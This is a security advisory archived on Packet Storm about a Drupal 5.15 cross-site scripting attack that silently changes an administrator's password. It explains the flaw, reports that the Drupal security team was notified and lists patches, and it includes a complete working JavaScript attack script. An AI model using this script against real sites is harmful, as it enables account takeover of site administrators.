what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Drupal XSS Password Changer

Drupal XSS Password Changer
Posted Mar 6, 2009
Authored by Justin C. Klein Keane

Small write up regarding a cross site scripting vulnerability on Drupal version 5.15 being used for a password change attack. Attack script included.

tags | exploit, xss
SHA-256 | 86d13cf8462beb1f49b6073cfa700d5ee7e151e78aed8e8844279904e36a02a9

Drupal XSS Password Changer

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Problem Description:

There have been quite a few Cross Site Scripting (XSS) vulnerabilities
discovered in Drupal modules recently. Many people scoff at XSS and
even argue that it's a low threat vulnerability. In many cases this is
certainly true, however XSS can be used as an element in an attack that
leverages other security weaknesses to devastating consequence. A case
in point is the password changing option in Drupal. Drupal does a
wonderful job in preventing against Cross Site Request Forgery (XSRF or
CSRF) by placing tokens in forms to validate posts. Drupal provides a
token in the id "edit-user-edit-form-token" in the edit user form (found
at ?a=user/X/edit where X is the user id number). A sample value
contained in this hidden form field is
"5545a410de3662f1844af7ee6f1ee770" - a value sufficiently long and
random that an attacker would have great difficulty in guessing the
value. However, the Drupal account page doesn't require users to enter
the current account password in order to change the password to a new
value. This flaw, combined with a well crafted XSS attack, could be
used to change a user's password to an arbitrary value. What's worse,
Drupal uses session cookies by default that can keep users logged into
the site for days. This means that a user could be the victim of a
password changing attack and not even realize their password had been
changed for some time (until their session cookie timed out or they
logged out of the site) when they were forced to log back in to the
site. The user would still be able to request a password reset via
e-mail, so they would not be locked out of the site, but they might have
their account hijacked for some time in the interim.

Exploiting the Flaw:

To accomplish a malicious password change via XSS is quite easy. The
technique can use an invisible iframe that loads the account editing
page. This is similar to a cross site request forgery, except that by
embedding the iframe in the target site the request does not even have
to cross domains. The iframe loads the target page, which includes the
Drupal generated token. The malicious script can then fill in a new
password and submit the form, invisibly to the user.

I have provided an example of such a script below. Note that this
script is enhanced in that it will only change the user's password if
the user has a user id of 1, or is the administrative super user. I've
also left out the logic to alert a remote attacker of a successful
compromise, but this is a simple feature to add. Once added to any
page, this script will silently assess the user id of any logged in
Drupal user who requests the page. If the user is the site admin then
their password will be reset to "password" silently, without their
knowledge.

Why the Attack Works:

This attack is possible because Drupal does not require
re-authentication in order to perform a password reset. Because the
malicious JavaScript writer doesn't have to provide an unknown password,
there is no barrier to the update. In order to prevent against this
sort of attack Drupal would have to add another field in the password
changing (user edit) screen where users were required to enter their
existing password.

Using the Attack:

The JavaScript snippet below could be injected in any number of ways
into a site. In fact, many Drupal sites are configured so any content
creator can use the "Full HTML" input format, which is all that is
required to insert JavaScript into Drupal site content. Any users with
this ability or attackers who compromised such an account, would be able
to attack and compromise the Drupal super user account using this method.

Notes:

Note that in the script below the Drupal site is running at 192.168.0.2
and the URL settings are such that the admin user edit screen is
available at http://192.168.0.2/?q=user/1/edit. Note that this script
could be altered to update the password of any Drupal user account, not
necessarily just the administrator as it checks the "My account" link
URL to determine the user id of the logged in user viewing the malicious
Drupal content.

This script was tested against Drupal 5.15 on Mozilla Firefox. Some
modification may be necessary for other versions of Drupal, although
Drupal 6 seems vulnerable as well. Other browsers may require separate
JavaScript syntax to carry out this attack.

Attack Script:

<script>
function alterUser() {
var text = document.documentElement.innerHTML;
var myAccountText = text.indexOf('My account');
var i = myAccountText-2;
while (! text.charAt(i).match(/[0-9]/g)) {
i--;
}
myAccountNumber = text.substring(i, myAccountText-2);
if (myAccountNumber == 1) {
/*alert(myAccountNumber );*/
var url = "http://192.168.0.2/?q=user/" + myAccountNumber + "/edit";
document.write('<iframe id="foo" name="foo" width="1" height="1" >');
document.write('</iframe>');
window.frames['foo'].location = url;
/* Slow it down, let the load happen */
setTimeout('doNext()', 4000);
}
}
function doNext() {
var theDoc = document.getElementById('foo');
foo.document.getElementById('edit-pass-pass1').value = 'password';
foo.document.getElementById('edit-pass-pass2').value = 'password';
foo.document.getElementById('user-edit').submit();
/* Admin pass changed - TODO: alert evil overlords */
}
alterUser();
</script>

Follow Up:

The Drupal security team has been notified about this issue. It seems a
mitigation feature may be built into Drupal 7
(http://drupal.org/node/86299, http://drupal.org/node/138805) and a
verify password on change patch does exist (http://drupal.org/node/86711).

The text of this advisory is also available at
http://lampsecurity.org/drupal-xss-password-reset


- --
Justin C. Klein Keane
http://www.MadIrish.net
http://www.LAMPSecurity.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQD1AwUBSbBC65EpbGy7DdYAAQJDCAcArCksNxWe1Wu0xGR/fK2xzAxStfqZnfkg
3r4SrvlFFT2YOJrlAeSFI7ALNKHCyluW8iKPbYEHDTD9KsbdhNC6ZJ10xiKP9D3X
2xh9AibJuj7CTOacVXJfyNcYxngsArzmnUo44qZOl+dch7JG1adSD2fVntcDh1F4
+W3qH+QE8Q5OzdVrachzdAZytv9LLHv907xfSWo40IERFpt6Xr1HmM16Y7XYuwcA
rbEvWGmNgkPUMrcQ2mfIN2/vRnReeJ/693sfhnEd8nXUPUbPO3EcFTakx+Tfq98n
/G+wfW+MJYQ=
=IMPE
-----END PGP SIGNATURE-----

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close